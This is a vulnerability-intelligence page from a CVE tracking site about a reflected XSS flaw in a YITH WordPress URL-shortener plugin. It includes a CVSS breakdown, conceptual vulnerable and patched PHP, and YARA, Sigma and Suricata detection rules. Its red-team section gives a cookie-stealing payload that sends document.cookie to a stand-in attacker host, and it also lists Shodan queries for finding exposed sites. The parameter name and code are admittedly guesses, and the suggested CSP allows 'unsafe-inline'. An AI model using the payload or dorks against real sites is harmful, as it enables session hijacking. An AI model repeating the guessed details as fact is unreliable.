☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Yith logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-13868

CVE-2024-13868 Cross-Site Scripting in Yith
📅 PUBLISHED: 2025-03-06 06:00 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.10%
👁️
0.10% probability
2.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-13868 is a Reflected Cross-Site Scripting (XSS) vulnerability in the YITH URL Shortener | Conversion Tracking | AB Testing | WooCommerce WordPress plugin (versions through 9.0.2). The plugin fails to sanitize and escape a parameter before outputting it back in the page, allowing an attacker to inject arbitrary JavaScript. This vulnerability can be exploited against high-privilege users such as administrators, potentially leading to session hijacking, credential theft, or privilege escalation within the WordPress ecosystem.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and potentially through third-party marketplaces. The lack of a patch at the time of analysis means that all installations of the plugin up to version 9.0.2 are at risk. Users should monitor the plugin’s update channel for a patched version and consider disabling the plugin until a fix is available.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must click a crafted link)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability to target high-privilege users (admins) significantly increases the risk, as a successful attack could lead to full WordPress site compromise.

Deep Dive & Mechanics

The vulnerability resides in the YITH URL Shortener plugin, which is used for URL shortening, conversion tracking, and A/B testing in WooCommerce environments. The plugin does not properly sanitize or escape a specific parameter (likely a GET or POST parameter) before reflecting it in the HTML output. This allows an attacker to craft a malicious URL containing JavaScript code. When a victim (especially an admin) clicks the link, the script executes in the context of the victim’s session.

Root Cause: The plugin uses echo or similar output functions without applying WordPress’s built-in escaping functions like esc_html(), esc_attr(), or wp_kses_post(). This is a classic example of insufficient input validation and output encoding.

Attack Flow:

  1. Attacker crafts a URL: https://victim-site.com/?yith_shortener=<script>alert('XSS')</script>
  2. Attacker sends the link to a logged-in admin via email, social engineering, or other means.
  3. Admin clicks the link while authenticated.
  4. The plugin reflects the unsanitized parameter in the page, executing the attacker’s script.
  5. The script can steal cookies, perform actions on behalf of the admin, or inject malicious content.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is described below. A patched version would use proper escaping.

Vulnerable Code (Conceptual):

<?php
// In some plugin file (e.g., yith-url-shortener.php)
$param = $_GET['yith_shortener'];
echo '<div class="shortener-output">' . $param . '</div>';
?>

Patched Code (Conceptual):

<?php
$param = isset($_GET['yith_shortener']) ? sanitize_text_field($_GET['yith_shortener']) : '';
echo '<div class="shortener-output">' . esc_html($param) . '</div>';
?>

The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Proof of Concept (PoC):

  1. Identify a WordPress site running the vulnerable plugin (version <= 9.0.2).
  2. Craft a malicious URL:
    https://target-site.com/?yith_shortener=<script>alert(document.cookie)</script>
    
  3. Send the link to a logged-in admin (e.g., via email or social media).
  4. When the admin clicks the link, the JavaScript executes, displaying the admin’s cookies.

Advanced Payload (Session Hijacking):

https://target-site.com/?yith_shortener=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

  • Use a local WordPress installation with the YITH URL Shortener plugin (version 9.0.2).
  • Set up a simple HTTP server (e.g., using Python) to capture stolen data.
  • Use a browser with developer tools to observe the reflected XSS.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing suspicious patterns in the yith_shortener parameter (e.g., <script>, onerror=, javascript:).
  • Use Web Application Firewall (WAF) rules to block common XSS payloads.

Mitigation:

  • Disable the plugin until a patch is released.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Educate users about phishing attacks that exploit reflected XSS.

Indicators of Compromise (IOCs)

  • URL Pattern: ?yith_shortener=<script> or similar XSS payloads in the query string.
  • HTTP Request: GET requests to the WordPress site with the yith_shortener parameter containing HTML/JavaScript.
  • Log Entries: Web server logs showing requests with yith_shortener parameter containing <, >, script, or onerror.
  • Network Traffic: Outbound connections from the victim’s browser to attacker-controlled domains (if payload exfiltrates data).

Detection Engineering

YARA Rule

rule CVE_2024_13868_YITH_XSS {
    meta:
        description = "Detects reflected XSS attempts against YITH URL Shortener plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-13868"
    strings:
        $param = "yith_shortener"
        $xss1 = /<script[^>]*>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /javascript\s*:/i
    condition:
        $param and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: Reflected XSS via YITH URL Shortener Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the yith_shortener parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "yith_shortener="
    keywords:
        - "<script"
        - "onerror="
        - "javascript:"
    condition: selection and keywords
falsepositives:
    - Legitimate use of the parameter with safe values (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13868 - Reflected XSS in YITH URL Shortener"; flow:to_server,established; content:"yith_shortener="; http_uri; pcre:"/(<script|onerror=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patched version is released.
  2. Implement a Web Application Firewall (WAF) rule to block requests containing XSS payloads in the yith_shortener parameter.
  3. Add Content Security Policy (CSP) headers to restrict script execution:
    Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none'
    
    (Note: 'unsafe-inline' may be needed for legitimate scripts but should be avoided if possible.)

Long-term Fix:

  • The vendor must release a patched version that properly sanitizes and escapes the yith_shortener parameter using WordPress functions like sanitize_text_field() and esc_html().
  • Users should update to the latest version once available.

Workaround:

  • If the plugin cannot be disabled, manually edit the plugin file to add escaping (not recommended for non-developers, as updates will overwrite changes).

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/yith-url-shortener"
http.html:"yith-url-shortener"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-13868/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.